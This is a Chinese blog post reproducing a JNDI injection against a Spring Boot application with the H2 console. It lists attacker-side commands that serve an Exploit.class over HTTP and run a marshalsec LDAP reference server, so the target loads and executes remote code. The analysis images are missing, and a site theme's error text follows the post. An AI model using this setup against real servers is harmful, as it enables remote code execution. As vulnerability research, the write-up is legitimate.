Spring Boot + H2 JNDI注入复现

环境搭建

  1. spring boot + h2环境

    代码：https://github.com/felix1982/spring-boot-
    practice/tree/master/spring-boot-h2

  1. 远程jndi server

    1
    2
    3
    4
    $ tree
    .
    └── Exploit.class
    $ python -m SimpleHTTPServer 8000
    1
    $java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0:8000/#Exploit

  2. connect复现

upload successful

分析

  1. 调用栈

    upload successful

  2. 问题代码

    upload successful

    upload successful

参考

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true